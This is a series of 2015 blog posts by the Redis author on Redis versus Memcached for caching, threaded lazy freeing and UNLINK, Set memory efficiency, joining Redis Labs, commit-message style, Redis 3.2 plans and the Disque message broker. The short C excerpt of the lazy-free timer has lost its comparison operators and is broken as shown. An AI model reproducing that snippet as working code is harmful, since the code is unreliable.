  If you know me, you know I’m not the kind of guy that considers competing products a bad thing. I actually love the users to have choices, so I rarely do anything like comparing Redis with other technologies. However it is also true that in order to pick the right solution users must be correctly informed. This post was triggered by reading a blog post published by Mike Perham, that you may know as the author of a popular library called Sidekiq, that happens to use Redis as backend. So I would not consider Mike a person which is “against” Redis at all. Yet in his blog post that you can find at the URL http://www.mikeperham.com/2015/09/24/storing-data-with-redis/ he states that, for caching, “you should probably use Memcached instead [of Redis]”. So Mike simply really believes Redis is not good for caching, and he arguments his thesis in this way: 1) Memcached is designed for caching. 2) It performs no disk I/O at all. 3) It is multi threaded and can handle 100,000s of requests by scaling multi core. I’ll address the above statements, and later will provide further informations which are not captured by the above sentences and which are in my opinion more relevant to most caching users and use cases. Memcached is designed for caching: I’ll skip this since it is not an argument. I can say “Redis is designed for caching”. So in this regard they are exactly the same, let’s move to the next thing. It performs no disk I/O at all: In Redis you can just disable disk I/O at all if you want, providing you with a purely in-memory experience. Except, if you really need it, you can persist the database only when you are going to reboot, for example with “SHUTDOWN SAVE”. The bottom line here is that Redis persistence is an added value even when you don’t use it at all. It is multi threaded: This is true, and in my goals there is to make Redis I/O threaded (like in memcached, where the data access itself is not threaded, basically). However Redis, especially using pipelining, can serve an impressive amount of requests per second per thread (half a million is a common figure with very intensive pipelining. Without pipelining it is around 100,000 ops/sec). In the vanilla caching scenario where each Redis instance is the same, works as a master, disk ops are disabled, and sharding is up to the client like in the “memcached sharding model”, to spin multiple Redis processes per system is not terrible. Once you do this what you get is a shared-nothing multi threaded setup so what counts is the amount of operations you can serve per single thread. Last time I checked Redis was at least as fast as memcached per each thread. Implementations change over time so the edge today may be of the one or the other, but I bet they provide near performances since they both tend to maximize the resources they can use. Memcached multi threading is still an advantage since it makes things simpler to use and administer, but I think it is not a crucial part. There is more. Mike talks of operations per second without citing the *quality* of operations. The thing is in systems like Redis and Memcached the cost of command dispatching and I/O is dominating compared to actually touching the in-memory data structures. So basically in Redis executing a simple GET, a SET, or a complex operation like a ZRANK operation is about the same cost. But what you can achieve with a complex operation is a lot more work from the point of view of the application level. Maybe instead of fetching five cached values you can just send a small Lua script. So the actual “scalability” of the two systems have many dimensions, and what you can achieve is one of those. Of Mike’s concerns the only valid I can see is multi threading which, if we consider Redis in its special case of memcached replacement, may be addressed executing multiple processes, or simply by executing just one since it will be very very hard to saturate one thread doing memcached alike operations. The real differences — Now it’s time to talk about the *real* differences between the two systems. * Memory efficiency This is where Memcached used to be better than Redis. In a system designed to represent a plain string to string dictionary, it is simpler to make better use of memory. This difference is not dramatic and it’s like 5 years I don’t check it, but it used to be noticeable. However if we consider memory efficiency of a long running process, things are a bit different. Read the next section. But again to really evaluate memory efficiency, you should put into the bag that specially encoded small aggregated values in Redis are very memory efficient. For example sets of small integers are represented internally as an array of 8, 16, 32 or 64 bits integers, and are accessed in logarithmic time when you want to check the existence of some since they are ordered, so binary search can be used. The same happens when you use hashes to represent objects instead of resorting to JSON. So the real memory efficiency must be evaluated with an use case at hand. * Redis LRU vs Slab allocator Memcached is not perfect from the point of view of memory utilization. If you happen to have an application that dramatically change the size of the cached values over time, you are likely to incur severe fragmentation and the only cure is a reboot. Redis is a lot more deterministic from this point of view. Moreover Redis LRU was lately improved a lot, and is now a very good approximation of real LRU. More info can be found here: http://redis.io/topics/lru-cache. If I understand correctly, memcached LRU still expires according to its slab allocator so sometimes the behavior may be far from real LRU, but I would like to hear what experts have to say about this. If you want to test Redis LRU you now can using the redis-cli LRU testing mode available in recent versions of Redis. * Smart caching If you want to use Redis for caching, and use it ala-memcached, you are truly missing something. This is the biggest mistake in Mike’s blog post in my opinion. People are switching to Redis more and more because they discovered that they can represent their cached data in more useful ways. What to retain the latest N items of something? Use a capped list. Want to take a cached popularity index? Use a sorted set, and so forth. * Persistence and Replication If you need those, they are very important assets. For example using this model scaling a huge load of reads is very simple. The same about restarts with persistence, the ability to take cache snapshots over time, and so forth. But it’s totally fair to have usages where both features are totally irrelevant. What I want to say here is that there are “pure caching” use cases where persistence and replication are important. * Observability Redis is very very observable. It has detailed reporting about a ton of internal metrics, you can SCAN the dataset, observe the expiration of objects. Tune the LRU algorithm. Give names to clients and see them reported in CLIENT LIST. Use “MONITOR” to debug your application, and many other advanced things. I believe this to be an advantage. * Lua scripting I believe Lua scripting to be an impressive help in many caching use cases. For example if you have a cached JSON blob, with a Lua command you can extract a single field and return it to the client instead of transferring everything (you can do the same, conceptually, using Redis hashes directly to represent objects). Conclusions — Memcached is a great piece of software, I read the source code multiple times, it was a revolution in our industry, and you should check if for you is a better bet compared to Redis. However things must be evaluated for what they are, and in the end I was a bit annoyed to read Mike’s report and very similar reports over the years. So I decided to show you my point of view. If you find anything factually incorrect, ping me and I’ll update the blog post according with “EDIT” sections. Comments

• Lazy Redis is better Redis
  Sep 26, 2015

  Everybody knows Redis is single threaded. The best informed ones will tell you that, actually, Redis is *kinda* single threaded, since there are threads in order to perform certain slow operations on disk. So far threaded operations were so focused on I/O that our small library to perform asynchronous tasks on a different thread was called bio.c: Background I/O, basically. However some time ago I opened an issue where I promised a new Redis feature that many wanted, me included, called “lazy free”. The original issue is here: https://github.com/antirez/redis/issues/1748. The gist of the issue is that Redis DEL operations are normally blocking, so if you send Redis “DEL mykey” and your key happens to have 50 million objects, the server will block for seconds without serving anything in the meantime. Historically this was accepted mostly as a side effect of the Redis design, but is a limit in certain use cases. DEL is not the only blocking command, but is a special one, since usually we say: Redis is very fast as long as you use O(1) and O(log_N) commands. You are free to use O(N) commands but be aware that it’s not the case we optimized for, be prepared for latency spikes. This sounds reasonable, but at the same time, even objects created with fast operations need to be deleted. And in this case, Redis blocks. The first attempt — In a single-threaded server the easy way to make operations non-blocking is to do things incrementally instead of stopping the world. So if there is to free a 1 million allocations, instead of blocking everything in a for() loop, we can free 1000 elements each millisecond, for example. The CPU time used is the same, or a bit more, since there is more logic, but the latency from the point of view of the user is ways better. Maybe those cycles to free 1000 elements per millisecond were not even used. Avoiding to block for seconds is the key here. This is how many things inside Redis work: LRU eviction and keys expires are two obvious examples, but there are more, like incremental rehashing of hash tables. So this was the first thing I tried: create a new timer function, and perform the eviction there. Objects were just queued into a linked list, to be reclaimed slowly and incrementally each time the timer function was called. This requires some trick to work well. For example objects implemented with hash tables were also reclaimed incrementally using the same mechanism used inside Redis SCAN command: taking a cursor inside the dictionary and iterating it to free element after element. This way, in each timer call, we don’t have to free a whole hash table. The cursor will tell us where we left when we re-enter the timer function. Adaptive is hard — Do you know what is the hard part with this? That this time, we are doing a very special task incrementally: we are freeing memory. So if while we free memory incrementally, the server memory raises very fast, we may end, for the sake of latency, to consume an *unbound* amount of memory. Which is very bad. Imagine this, for example: WHILE 1 SADD myset element1 element2 … many many many elements DEL myset END If deleting myset in the background is slower compared to our SADD call adding tons of elements per call, our memory usage will grow forever. However after a few experiments, I found a way to make it working very well. The timer function used two ideas in order to be adaptive to the memory pressure: 1. Check the memory tendency: it is raising or lowering? In order to adapt how aggressively to free. 2. Also adapt the timer frequency itself based on “1”, so that we don’t waste CPU time when there is little to free, with continuous interruptions of the event loop. At the same time the timer could reach ~300 HZ when really needed. A small portion of code, from the now no longer existing function implementing this ideas: /* Compute the memory trend, biased towards thinking memory is raising * for a few calls every time previous and current memory raise. */ if (prev_mem mem_trend *= 0.9; /* Make it slowly forget. */ int mem_is_raising = mem_trend > .1; /* Free a few items. */ size_t workdone = lazyfreeStep(LAZYFREE_STEP_SLOW); /* Adjust this timer call frequency according to the current state. */ if (workdone) { if (timer_period == 1000) timer_period = 20; if (mem_is_raising && timer_period > 3) timer_period--; /* Raise call frequency. */ else if (!mem_is_raising && timer_period timer_period++; /* Lower call frequency. */ } else { timer_period = 1000; /* 1 HZ */ } It’s a good trick and it worked very well. But still it was kinda sad we have to do this operation in a single thread. There was a lot of logic to handle that well, and anyway when the lazy free cycle was very busy, operations per second were reduced to around 65% of the norm. Freeing objects in a different thread would be much simpler: freeing is almost always faster than adding new values in the dataset, if there is a thread which is busy doing only free operations. For sure there is some contention between the main thread calling the allocator and the lazy free thread doing the same, but Redis spends a fraction of its time on allocations, and much more time on I/O, command dispatching, cache misses, and so forth. However there was a big problem with implementing a threaded lazy free: Redis itself. The internal design was totally biased towards sharing objects around. After all they are reference counted right? So why don’t share as much as possible? We can save memory and time. A few examples: if you do SUNIONSTORE you end with shared objects in the target set. Similarly, client output buffers have lists of objects to send to the socket as reply, so during a call like SMEMBERS all the set members may end shared in the output buffer list. So sharing objects sounds so useful, lovely, wonderfully, greatly cool. But, hey, there is something more here. If after an SUNIONSTORE I re-load the database, the objects will be unshared, so the memory suddenly may jump to more than it was. Not great. Moreover what happens when we send replies to clients? We actually *glue together* objects into plain buffers when they are small, since otherwise doing many write() calls is not efficient! (free hint, writev() does not help). So we are mostly copying already. And in programming when something is not useful, but exists, it is likely a problem. And indeed each time you had to access a value, inside a key containing an aggregate data type, you had to traverse the following: key -> value_obj -> hash table -> robj -> sds_string So what about getting rid of “robj” structures entirely and converting aggregate values to be made just of hash tables (or skiplists) of SDS strings? (SDS is the library we use inside Redis for strings). There is a problem with that. Immagine a command like SADD myset myvalue. We can’t take client->argv[2], for example, and just reference it in the hash table implementing the set. We have to *duplicate* values sometimes and can’t reuse the ones already existing in the client argument vector, created when the command was parsed. However Redis performance is dominated by cache misses, so maybe we can compensate this with one indirection less? So I started to work to this new lazyfree branch, and tweeting about it on Twitter without any context so that everybody was thinking I was like desperate or crazy (a few eventually asked WTF this lazyfree thing was). So what I did? 1. Change client output buffers to use just dynamic strings instead of robj structures. Values are always copied when there is to create a reply. 2. Convert all the Redis data types to use SDS strings instead of shared robj structures. Sounds trivial? ~800 highly bug sensitive lines changed in the course of multiple weeks. But now all tests are passing. 3. Rewrite lazyfree to be threaded. The result is that Redis is now more memory efficient since there are no robj structures around in the implementation of the data structures (but they are used in the code paths where there is a lot of sharing going on, for example during the command dispatch and replication). Threaded lazy free works great and is faster than the incremental one to reclaim memory, even if the implementation of the incremental one is something I like a lot and was not so terrible even compared with the threaded one. But now, you can delete a huge key and the performance drop is negligible which is very useful. But, the most interesting thing is, Redis is now faster in all the operations I tested so far. Less indirection was a real winner here. It is faster even in unrelated benchmarks just because the client output buffers are now simpler and faster. In the end I deleted the incremental lazy freeing implementation from the branch, to retain only the threaded one. A note about the API — However what about the API? We still have a blocking DEL, the default is the same, since DEL in Redis means: reclaim memory now. I didn’t like the idea of changing that. So now you have a new command called UNLINK which more clearly states what is happening to the value. UNLINK is a smart command: it calculates the deallocation cost of an object, and if it is very small it will just do what DEL is supposed to do and free the object ASAP. Otherwise the object is sent to the background queue for processing. Otherwise the two commands are identical from the point of view of the keys space semantics. FLUSHALL / FLUSHDB non blocking variants were also implemented, but still not at API level, they’ll just take a LAZY option that if given will change the behavior. Not just lazy freeing — Now that values of aggregated data types are fully unshared, and client output buffers don’t contain shared objects as well, there is a lot to exploit. For example it is finally possible to implement threaded I/O in Redis, so that different clients are served by different threads. This means that we’ll have a global lock only when accessing the database, but the clients read/write syscalls and even the parsing of the command the client is sending, can happen in different threads. This is a design similar to memcached, and one I look forward to implement and test. Moreover it is now possible to implement certain slow operations on aggregated data types in another thread, in a way that only a few keys are “blocked” but all the other clients can continue. This can be achieved in a very similar way to what we do currently with blocking operations (see blocking.c), plus an hash table to store what keys are currently busy and with what client. So if a client asks for something like SMEMBERS it is possible to lock just the key, process the request creating the output buffer, and later release the key again. Only clients trying to access the same key will be blocked if the key is blocked. All this requires even more drastic internal changes, but the bottom line here is, we have a taboo less. We can compensate object copying times with less cache misses and a smaller memory footprint for aggregated data types, so we are now free to think in terms of a threaded Redis with a share-nothing design, which is the only design that could easily outperform our single threaded one. In the past a threaded Redis was always seen as a bad idea if thought as a set of mutexes in data structures and objects in order to implement concurrent access, but fortunately there are alternatives to get the best of both the worlds. And we have the option to still serve all the fast operations like we did in the past from the main thread, if we want. There should be only to gain performance-wise, at the cost of some contained complexity. ETA — I touched a lot of internals, this is not something which is going live tomorrow. So my plan is to call 3.2. what we have already into unstable, do the work to put it into Release Candidate state, and merge this branch into unstable targeting 3.4. However before merging, a very scrupulous check for speed regression should be performed. There is definitely more work to do. If you want to give it a try check the “lazyfree” branch on Github. Btw be aware that currently I’m working at it very actively so certain things may be at moments totally broken. Comments

• About Redis Sets memory efficiency
  Aug 28, 2015

  Yesterday Amplitude published an article about scaling analytics, in the context of using the Set data type. The blog post is here: https://amplitude.com/blog/2015/08/25/scaling-analytics-at-amplitude/ On Hacker News people asked why not using Redis instead: https://news.ycombinator.com/item?id=10118413 Amplitude developers have their set of reasons for not using Redis, and in general if you have a very specific problem and want to scale it in the best possible way, it makes sense to implement your vertical solution. I’m not adverse to reinventing the wheel, you want your very specific wheel sometimes, that a general purpose system may not be able to provide. Moreover creating your solution gives you control on what you did, boosts your creativity and your confidence in what you, as a developer can do, makes you able to debug whatever bug may arise in the future without external help. On the other hand of course creating system software from scratch is a very complex matter, requires constant developments if there is a wish to actively develop something, or means to have a stalled, non evolving piece of code if there is no team dedicated to it. If it is very vertical and specialized, likely the new system is capable of handling only a slice of the whole application problems, and yet you have to manage it as an additional component. Moreover if it was created by mostly one or a few programmers that later go away from the company, then fixing and evolving it is a very big problem: there isn’t sizable external community, nor there are the original developers. Basically writing things in house is not good or bad per se, it depends. Of course it is a matter of sensibility to understand when it’s worth to implement something from scratch and when it is not. Good developers know. From my point of view, regardless of what the Amplitude developers final solution was, it is interesting to read the process and why they are not using Redis. One of the concerns they raised is the overhead of the Set data type in Redis. I believe they are right to have such a concern, Redis Sets could be a lot more memory efficient, and weeks before reading the Amplitude article, I already started to explore ways to improve Sets memory efficiency. Today I want to share the plans with you. Dual representation of data types === In principle there where plain data structures, implemented more or less like an algorithm text book suggests: each node of the data structure is implemented dynamically allocating it. Allocation overhead, fat pointers, poor cache locality, are the big limits of this basic solution. Pieter Noordhuis and I later implemented specialized implementations of Redis abstract data types, to be very memory efficient, using single allocations to hold tens or a few hundreds of elements in a single allocation, sometimes with ad-hoc encodings to better use the space. Those versions of the data structures have O(N) time complexity for certain operations, or sometimes are limited to elements having a specific format (numbers) or sizes. So for example when you create an Hash, it starts represented in a memory efficient way which is good for a small number of elements. Later it gets converted to a real hash table if the number of elements reach a given threshold. This means that the memory efficiency of a Redis data type depends a lot on the number of elements it stores. The next step: Redis lists === At some point Twitter developers realized that there was no reason to go from an array of elements in a single allocation, representing items in a List, to an actual linked list which is a lot less memory efficient. There is something in the middle: a linked list of arrays representing a few items. Their implementation does not handle defragmentation when you remove something in the middle. Pieter and I in the past tried to understand if this was worth or not, but we had some feeling the defragmentation effort may not be compensated by the space savings, and a non defragmenting implementation of this idea was too fragile as a general purpose implementation of Redis lists: remove a few elements in the middle and your memory usage changes dramatically. Fortunately Matt Stancliff implemented the idea, including the defragmentation part, in an excellent way, and after some experimentation he showed that the new implementation was at least as good as the current implementation in Redis from the POV of performances, and much better from the point of view of memory usage. Moreover the memory efficiency of lists was no longer a function of the size of the list, and there was a single representation to deal with. Lists are kinda special since, to have linked lists of small arrays is really an optimal representation that may not map easily to other data types. It is possible to do something like that for Sets and other data types? Redis Sets === Sets memory usage is a bit special. They don’t have a specialized representation like all the other Redis data structures for sets composed of strings. So even a very small Set is going to consume a lot of memory. The special representation actually exists and is excellent but only works if the Set is composed of just numbers and is small: in such a case, we represent the Set with a special encoding called “intset”. It is an ordered linear array of integers, so that we can use binary search for testing existence of members. The array automatically changes size of each element depending on the greatest element in the set, so representing a set that has the strings 1, 20, 30, 15 is going to take just one byte per element plus some overhead, because the strings can be represented as numbers, and are inside the 8 bits range. However just add “a” to the set, and it will be converted into a full hash table: 127.0.0.1:6379> sadd myset 1 2 3 4 5 (integer) 5 127.0.0.1:6379> object encoding myset "intset" 127.0.0.1:6379> sadd myset a (integer) 1 127.0.0.1:6379> object encoding myset "hashtable" Sets of integer are a very used data type in Redis, so it is actually very useful to have that. But why we don’t have a special representation for small sets composed of non numerical strings, like we have for everything else? Well, the idea was that to have a data type with *three* representations was not going to be a good thing from the point of view of Redis internals. If you check t_zset.c o t_set.c you’ll see it require some care to deal with multiple representations. The more you want to abstract away dealing with N representations, the more you no longer have access to certain optimizations. Moreover the List story showed that it was possible to have a single representation with all the benefits. What you lose in terms of scanning the small aggregates containing N elements, you win back because of better cache locality, so it is possible to experiment with things that look like a tragic time/space tradeoff, but in reality are not. Specializing Redis hash tables === Big hashes, non numerical (or big) sets, and big sorted sets, are currently represented by hash tables. The implementation is the one inside the dict.c file. It is an hash table implemented in a pretty trivial way, using chaining to resolve collisions. The special things in this hash table implementation are just two: it never blocks in order to rehash, the rehashing process is handled incrementally. I did this in the first months of my VMware sponsorship, and it was a big win in terms of latency, of course. dict.c also implements a special primitive called “scanning” invented by Pieter Noordhuis, which is a cursor based iterator without overheads nor state, but with reasonable guarantees. Apart from that the Redis hash table expects keys and values to be pointers to something, and methods in order to compare and release keys, and to release values. This is how you want to design a general purpose hash table: pointers and methods (function pointers) to deal with values everywhere. However Redis data structures have an interesting property: every element in complex data structures are always, semantically strings. Hashes are maps between a string field and a string value. Sets are unordered sets of strings, and so forth. What happens if we implement an hash table which is designed in order to store just string keys and string values? Well… it looks like there is a simple way to make such an hash table very memory efficient. We could set the load factor to something greater than 1, for example 10, and if there are 5 buckets in the hash table, each bucket will contain on average 10 elements. So each bucket will be something like a linear array of key-value items, with prefixed lengths, in a very similar fashion to the encodings we use for small data types currently. Something like: 0: foobarhelloworld! 1: user:103811 … 2: … And so forth. The encoding could be specialized or just something existing like MessagePack. So here the extra work you do in each bucket is hopefully compensated by the better locality you get. To implement scanning and incremental rehashing on top of this data structure is viable as well, I did an initial analysis and while it is not possible to just copy the implementation in dict.c it is possible to find other ways to obtain the same effects. Note that, technically speaking, it is possible to store pointers in such an hash table: they will be just strings from the point of view of the hash table implementation, and it is possible to signal, in the hash table type, that those are pointers that need special care (for example free-value function pointers or alike). However only testing can say if it’s worth it or not. However there are problems that must be solved in order to use this for more than sets, or at least in order to use *only* such a representation, killing the small representations we have currently. For example, the current small representations have a very interesting property: they are already a serialization of themselves, without extra work required: we use this to store data into RDB files, to transfer data between nodes in Redis Cluster, and so forth. The specialized hash table should have the same property hopefully, or at least each single bucket should be already in a serialized format without any post-processing work required. If this is not the case, we could use this new dictionaries only in place of the general hash tables after the expansion, which is already a big win. Conclusions === This is an initial idea that requires some time for the design to be improved, validated by an implementation later, and in-depth load tested to guarantee there is no huge regression in certain legitimate workloads. If everything goes well we may end with a Redis server which is a lot more memory efficient than in the past. Such an hash table may also be used in order to store the main Redis dictionary in order to make each key overhead much smaller. Comments

• Thanks Pivotal, Hello Redis Labs
  Jul 15, 2015

  I consider myself very lucky for contributing to the open source. For me OSS software is not just a license: it means transparency in the development process, choices that are only taken in order to improve software from the point of view of the users, documentation that attempts to cover everything, and simple, understandable systems. The Redis community had the privilege of finding in Pivotal, and VMware before, a company that thinks at open source in the same way as we, the community of developers, think of it. Thanks to the Pivotal sponsorship Redis was able to grow, to reach in the latest years a diffusion which I never expected it to reach. However for the final user it always was just a "pure" OSS project: go to the community web site, grab a tar ball, read the free documentation, send a pull request, and watch the stream of commits as they happen live. In order to not stop this magic from happening, and in order to have enough free time to spend with my family, during these years I made the decision of not starting a Redis company. However I encouraged the creation of an economic ecosystem around Redis. There are multiple companies about Redis doing well at this point. There is one, Redis Labs, that made a remarkable steady work over the years in order to build a very strong company, with a team of developers hacking on the core of Redis, and a great set of products that provide Redis users with the commercial choices they need. At some point it started to look like a good idea for me to move to Redis Labs. Running a big cluster of Redis instances and having a set of developers on the Redis core is the key asset for Redis future. We can work together in order to improve Redis faster, with a constant feedback on what happens into the wild of actual users running Redis and the efforts required in order to operate it at scale. Redis Labs was willing to continue what VMware and Pivotal started. I'll be able to work as I do currently, spending all my time in the open source side of the project, while Redis Labs continues to provide Redis users with an hassles-free Redis experience of managed instances and products. However because of my close interaction with Redis Labs I believe we'll see much more contributions from Redis Labs developers to the Redis core. Things like the memory reduction pull requests which are going to be part of Redis 3.2, or the improvements to the key eviction process they contributed for Redis 3.0, are a clear example of what happens when you have great developers working at Redis, able to observe a large set of use cases. I, Pivotal, and Redis Labs, all agree that this is important for the future of Redis, so I'm officially moving to Redis Labs starting from tomorrow morning. Thank you Pivotal and Redis Labs, we'll have to ship more OSS code in the next years, and this is just great. EDIT: Redis Labs press release can be found here: https://redislabs.com/press-releases/redis-creator-salvatore-sanfilippo-antirez-joins-redis-labs Comments

• Commit messages are not titles
  Jun 23, 2015

  Nor subjects, for what matters. Everybody will tell you to don't add a dot at the end of the first line of a commit message. I followed the advice for some time, but I'll stop today, because I don't believe commit messages are titles or subjects. They are synopsis of the meaning of the change operated by the commit, so they are small sentences. The sentence can be later augmented with more details in the next lines of the commit message, however many times there is *no* body, there is just the first line. How many emails or articles you see with just the subject or the title? Very little, I guess. So for me it is like: This is a smart synopsis, as information dense as possible. And when needed, this is the long version since: 1. I did this. 2. And resulted into this. 3. And you could reproduce this way. So every time I'll be told again to don't put a dot at the end, I'll link to this article. But no, it's not just a matter of a dot. If the first line of a commit message is a title, it changes *the way* you write it. It becomes just some text to introduce some more text, without any stress on the information density. Coders gotta code, so if something can be told in a very short way in one line, do it, and reserve the other additional informations for the next line, without sacrificing the first line since "It's a title". Moreover, programming is the art of writing synopsis, otherwise you end with programs much more complex they should be. So perhaps it's also a good exercise for us. Comments

• Plans for Redis 3.2
  Jun 12, 2015

  I’m back from Paris, DotScale 2015 was a very interesting conference. Before leaving I was working on Sentinel in the context of the unstable branch: the work was mainly about connection sharing. In short, it is the ability of a few Sentinels to scale, monitoring many masters. Before to leave, and now that I’m back, I tried to “secure” a set of features that will be the basis for Redis 3.2. In the next weeks I’ll be focusing developing these features, so I thought it’s worth to share the list with you ASAP. Geo hashing API: This work originated from Ardb, that was originally a fork of Redis (https://github.com/yinqiwen/ardb), and was later extracted and improved by Matt Stancliff (https://matt.sh/redis-geo) that ported it to Redis. Open source is cool eh? The code needs a refactoring effort since currently duplicates parts of the sorted set implementation. It is not impossible that I may also change a few things about the API, I’m currently not sure, if there is something to fix, I’ll fix it. But the bottom line is: this is a great feature, now that Matt is no longer contributing to Redis, there is a huge risk to lose this work, so I’m going to do the effort of refactoring, reviewing and merging it as the first of the tasks for Redis 3.2. I think it is a very exciting addition to the Redis API. Bloom filters: We’ll get bloom filters in 3.2. I’m not sure if this will be implemented as a String type feature like HyperLogLog are, but more likely as a new special type, since I'm interested in non trivial semantics that are more easy to provide as a new type. I’ve many design ideas for bloom filters, but I’m pretty sure I would like to have the ability to control from the API the accuracy/space tradeoff, perhaps not in the lower level from of specifying number of bits and hash functions to use, but in a more higher level way. Another thing I would love to have in this API is the ability of the bloom filter to auto-depollute itself (using multiple rotating filters or something like that). I’ll read all the available literature and decide what to do, but we’ll get this feature into 3.2. Memory PRs: there are two important PRs from RedisLabs to improve Redis memory usage. We’ll get both merged. Memory introspection command: A command that provides information about memory, like the LATENCY command but for memory usage. Hints about where is memory consumed, if its just the RSS that is high because of past peak memory usage, hints about amount of memory used by client output buffers, ability to resize the hash tables to save some memory if needed, and so forth. Some Redis Cluster multi DC support. This will probably just be a “static” option of Cluster slaves so that they’ll not take part to promotion when the master fails. In this way using CLUSTER FAILOVER TAKEOVER it will be possible to promote all the slaves in a minority partition. New List type operations: A few O(1) list operations like LMERGE, and O(N) operations that will be normally used with N very small so that they are most of the times O(1) operations, like operations to move N elements from a list to another. AOF safety feature: https://github.com/antirez/redis/pull/2574 AOF rewrites optionally using an RDB preamble, so that rewriting the AOF and reloading back the content at startup is faster. SPOP COUNT option (already implemented, 3.2 will be the first stable versions to get it)) Redis Cluster redis-trib rebalance command, in order to automatically rehash keys to end with an more homogeneous memory usage between nodes. A few things originally planned for 3.2 were ported to 3.0 since they were safe. A recent example is ZADD with support for options like NX and XX. In general it is possible that a few more commands about existing types will be added to Redis 3.2. This is basically a Redis version which is designed to make happy people that wanted more in the API side, since for a while we focused more on the operations aspect of Redis. About the ETA, the work is starting Monday, and I hope they’ll not take more time than the end of September, when the first RC will be pushed. Once it is RC, the RC -> Stable transition time is not scheduled, it is a function of the reporting time of critical bugs. Once for a few weeks nobody notices more bad issues, we’ll go stable. I’ll follow up with new blog posts about single entries listed above, like for the Geo hashing thing, the bloom filter final implementation and API description, and so forth. In the meantime, have fun with Redis 3.0! Comments

• Adventures in message queues
  Mar 15, 2015

  EDIT: In case you missed it, Disque source code is now available at http://github.com/antirez/disque It is a few months that I spend ~ 15-20% of my time, mostly hours stolen to nights and weekends, working to a new system. It’s a message broker and it’s called Disque. I’ve an implementation of 80% of what was in the original specification, but still I don’t feel like it’s ready to be released. Since I can’t ship, I’ll at least blog… so that’s the story of how it started and a few details about what it is. ~ First steps ~ Many developers use Redis as a message queue, often wrappered via some library abstracting away Redis low level primitives, other times directly building a simple, ad-hoc queue, using the Redis raw API. This use case is covered mainly using blocking list operations, and list push operations. Redis apparently is at the same time the best and the worst system to use like that. It’s good because it is fast, easy to inspect, deploy and use, and in many environments it was already one piece of the infrastructure. However it has disadvantages because Redis mutable data structures are very different than immutable messages. Redis HA / Cluster tradeoffs are totally biased towards large mutable values, but the same tradeoffs are not the best ones to deal with messages. One thing that is important to guarantee for a message broker is that a message is delivered either at least one time, or at most one time. In short given that to guarantee an exact single delivery of a message (where for delivery we intent a message that was received *and* processed by a worker) is practically impossible, the choices are that the message broker is able to guarantee either 0 or 1 deliveries, or 1 to infinite deliveries. This is often referred as at-most-once semantics, and at-least-once semantics. There are use cases for the first, but the most interesting and practical semantics is the latter, that is, to guarantee that a message is delivered at least one time, and deliver multiple times if there are failures. So a few months ago I started to think at some client-side protocol to use a set of Redis masters (without replication or clustering whatsoever) in a way that provides these guarantees. Sometimes with small changes in the way Redis is used for an use case, it is possible to end with a better system. For example for distributed locks I tried to document an algorithm which is trivial to implement but more robust than the single-instance + failover implementation (http://redis.io/topics/distlock). However after a few days of work my design draft suggested that it was a better bet to design an ad-hoc system, since the client-side algorithm ended being too complex, non optimal, and certain things I absolutely wanted were impossible or very hard to do. To add more things to Redis sounded like a bad idea, it does a lot of things already, and to cover messaging well I needed things which are very different than the way Redis operates. But why to design a new system given that the world is full of message brokers? Because an impressive number of users were using Redis instead of systems specifically designed for this goal, and this was strange. A few can be wrong, but so many need to get some reason. Maybe Redis low barrier of entry, easy API, speed, were not what most people were accustomed to when they looked at the message brokers landscape. It seems populated by solutions that are either too simple, asking the application to do too much, or too complex, but super full featured. Maybe there is some space for the “Redis of messaging”? ~ Redis brutally forked ~ For the first time in my life I didn’t started straight away to write code. For weeks I looked at the design from time to time, converted it into a new system and not a Redis client library, and tried to understand, as an user, what would make me very happy in a message broker. The original use case remained the same: delayed jobs. Disque is a general system, but 90% of times in the design the “reference” was an user that has to solve the problem of sending messages that are likely jobs to process. If something was against this use case, it was removed. When the design was ready, I finally started to code. But where to start? “vi main.c”? Fortunately Redis is, in part, a framework to write distributed systems in C. I had a protocol, network libraries, clients handling, node-to-node message bus. To rewrite all this from scratch sounded like a huge waste. At the same time I wanted Disque to be able to completely diverge from Redis in any details possible if this is needed, and I wanted it to be a side project without impacts on Redis itself. So instead of trying the huge undertake of splitting Redis into an actual separated framework, and the Redis implementation, I took a more pragmatic approach: I forked the code, and removed everything that was Redis specific from the source code, in order to end with a skeleton. At this point I was ready to implement my specification. ~ What is Disque? ~ After a few months of very non intense work and just 200 commits I’ve finally a system that no longer looks like a toy: it looked like a toy for many weeks so I was afraid of even talking about it, since the probability of me just deleting the source tree was big. Now that most of the idea is working code with tests, I’m finally sure this will be released in the future, and to talk about the tradeoffs I took in the design. Disque is a distributed system, by default. Since it is an AP system, it made no sense to have like in Redis a single-node mode and a distributed mode. A single Disque node is just a particular case of a cluster, having just one node. So this was of the important points in the design: fault tolerant, resistant to partitions, and available no matter how many nodes are still up, aka AP. I also wanted a system that was inherently able to scale in different scenarios, both when the issue is many producers and consumers with many queues, and when instead all this producers and consumers are all focusing on a single queue, that may be distributed into multiple nodes. My requirements were telling me aloud one thing… that Disque was going to make a big design sacrifice. Message ordering. Disque only provides best-effort ordering. However because of this sacrifice, there is a lot to gain… tradeoffs are interesting since sometimes they totally open the design space. I could continue recounting you what Disque is like that, however a few months ago I saw a comment in Hacker News, written by Jacques Chester, see https://news.ycombinator.com/item?id=8709146 [EDIT: SORRY I made an error cut&pasting the wrong name of Adrian (Hi Adrian, sorry for misquoting you!)]. Jacques, that happens to work for Pivotal like me, was commenting how different messaging systems have very different set of features, properties, and without the details it is almost impossible to evaluate the different choices, and to evaluate if one is faster than the other because it has a better implementation, or simple offers a lot less guarantees. So he wrote a set of questions one should ask when evaluating a messaging system. I’ll use his questions, and add a few more, in order to describe what Disque is, in the hope that I don’t end just hand waving, but providing some actual information. Q: Are messages delivered at least once? In Disque you can chose at least once delivery (the default), or at most once delivery. This property can be set per message. At most once delivery is just a special case of at least once delivery, setting the “retry” parameter of the message to 0, and replicating the message to a single node. Q: Are messages acknowledged by consumers? Yes, the only way for a consumer to tell the system the message got delivered correctly, is to acknowledge it. Q: Are messages delivered multiple times if not acknowledged? Yes, Disque will automatically deliver the message again, after a “retry” time, forever (up to the max TTL time for the message). When messages are acknowledged, the acknowledge is propagated to the nodes having a copy of the message. If the system believes everybody was reached, the message is finally garbage collected and removed. Acknowledged messages are also evicted during memory pressure. Nodes run a best-effort algorithm to avoid to queue the same message multiple times, in order to approximate single delivery better. However during failures, multiple nodes may re-deliver the same message multiple times at the same time. Q: Is queueing durable or ephemeral. Durable. Q: Is durability achieved by writing every message to disk first, or by replicating messages across servers? By default Disque runs in-memory only, and uses synchronous replication to achieve durability (however you can ask, per message, to use asynchronous replication). It is possible to turn AOF (similarly to Redis) 